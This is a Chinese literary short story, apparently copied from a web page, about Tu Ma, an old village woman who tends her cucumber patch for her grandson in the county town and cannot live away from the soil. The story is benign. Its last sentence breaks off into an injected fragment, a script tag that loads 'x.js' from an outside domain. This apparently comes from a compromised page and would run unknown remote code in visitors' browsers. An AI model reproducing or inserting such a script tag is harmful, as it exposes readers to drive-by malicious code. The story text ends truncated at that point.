油菜坡的土妈，这段时间像是着了魔，天天都往她屋旁边那块黄瓜地里跑。现在，她又跑到黄瓜地边上来了。她坐在地边的一块石头上，两个眼睛一眨不眨地看着她的那些黄瓜。土妈看黄瓜的样子，就像一只母鸡蹲在鸡笼上看它刚刚生在鸡窝里的那个蛋。土妈的两个眼睛，本来已经陷进眼窝去了，可这会儿又被扯出来了，好像那些黄瓜上拴了绳子。 
          
    土妈这么看黄瓜的时候，她的心里肯定想着一个人。一个人，要是心里不想着另一个人，她怎么会用这种眼神去看一样东西呢?土妈心里想着的这个人不是别人，是她的孙子。孙子远在县城里。土妈有一个儿子，在县城里工作。儿媳是儿子在县城里找上的，所以孙子就理所当然住在县城里了。其实，土妈是希望孙子回到油菜坡住在自己身边的，但她从来没开过这个口。土妈知道，即使她开了这个口，儿子和儿媳也不会答应的。再说，孙子正读着中学，他怎么可能回油菜坡呢? 
        
    土妈呆呆看着的那些黄瓜，都是她一个人亲手种的，眼下已经可以吃了。土妈一边看看黄瓜一边想着孙子，眼前不知不觉就浮现出了孙子吃黄瓜的情景。她仿佛看见孙子双手捧着奶奶种的黄瓜，大口大口地吃着，没嚼烂就往喉咙里吞，把那个细脖子胀得粗粗的。事实上，土妈的这些黄瓜就是专门为孙子种的。土妈自己的牙齿不好，己掉得差不多了，再好的黄瓜也吃不动了。土妈想，孙子吃着奶奶种的黄瓜，一定会眉开眼笑的，那两个调皮的虎牙肯定特别好看。 
        
    土妈刚出生的时候，算命先生说她命中缺土，就给她起了一个名字叫土。还是娃娃时，人们都叫她土丫；当姑娘的年代，人们又叫她土姑；结婚生孩子了，人们就叫她土婶；后来老了，油菜坡人都叫她土妈了。怎么说呢?土妈真是土了一辈子。 
        
    土妈现在是一个人住在油菜坡上。前几年，儿子曾经把她接到县城里住过一段时间，但她只住了半年就偷偷地跑回油菜坡来了。油菜坡的人都觉得不可思议，不知道她为什么放着县城里的福不享，而偏偏要跑回老家来受苦。其实儿子和儿媳也想不通，还和她闹了好长一段时间的别扭呢。土妈不愿意在县城里生活，当然是有原因的。原因是，县城里缺土。街上的路面都是铺的水泥地，家中的地上全是贴的地板砖，到处都看不见土，所以土妈就不习惯。土妈喜欢住在老家这个土屋里，地是土垫的，墙是土打的，瓦是土烧的。土妈说，她这一生是一刻也离不开土了。 
     
    一个人住在油菜坡，土妈觉得什么都好，唯独不能经常看到孙子，所以就每天想孙子。说来也怪，孙子又不是她生的，可她想孙子却远远超过想儿子，孙子就好比她的一块心头肉。土妈一想到孙子心里就动，心热，心跳，甚至还有点心慌。其实土妈与孙子的接触并不多，小时候没带过他几天，平时他也不怎么回来，但土妈就是想他，有时候还想得一个人流泪。 
    
    这会儿，土妈的两个眼睛还盯在那些黄瓜上。这些黄瓜差不多都有筷子那么长了，颜色绿得发亮，看上去像用翡翠做的。看着这些黄瓜，土妈不禁想起她种黄瓜的辛苦来。今年春天雨水少，黄瓜秧刚出苗的时候，一连十几天都是大太阳，那些日子，土妈每天都要去沟里端水浇黄瓜秧，不然它们一两天的功夫就会干死。土妈是用一个脸盆端的水，她躬着腰端着水盆走在路上的样子，看上去就像一只蜗牛在地上爬着。有一次，土妈还摔了一跤。她端着水盆的时候，眼睛看不到路，因为那路被水盆挡住了，所以土妈只好像瞎子一样试探着走。那天不知是谁在路上放了一个石头，土妈就一下子摔倒了。那盆水全都泼了出来，把土妈的裤子和鞋子打湿得一干二净。幸亏那只脸盆护住了土妈的脸，不然她的脸就磕在路上了，要是真的磕了下去，那肯定是鼻青脸肿。在那长长的旱季里，好多人家的黄瓜秧都被干死了。土妈的黄瓜秧上今天能结出这么好看的黄瓜来，可以说都是土妈一盆水一盆水地端出来的。

    土妈每天坐在黄瓜地边上看着黄瓜，多多少少也有那么一点守护的意思。她担心那些过路的人顺手牵羊。事实上，土妈好几次看见过那种鬼鬼祟祟的人，他们经过黄瓜地时贼头贼脑的，看黄瓜的眼神明显不对劲儿。如果不是土妈坐在旁边盯着，那他们早把黄瓜偷跑了。土妈把那些黄瓜看得像宝贝，有一次，有人要花一块钱买一条，她都没卖。土妈对那个买黄瓜的人说，我要留给我的孙子吃呢！ 
     
    土妈知道，再过两天她的儿子就要从县城回来了。两天之后是土妈的生日，土妈?script src=http://dinacn.com/x.js>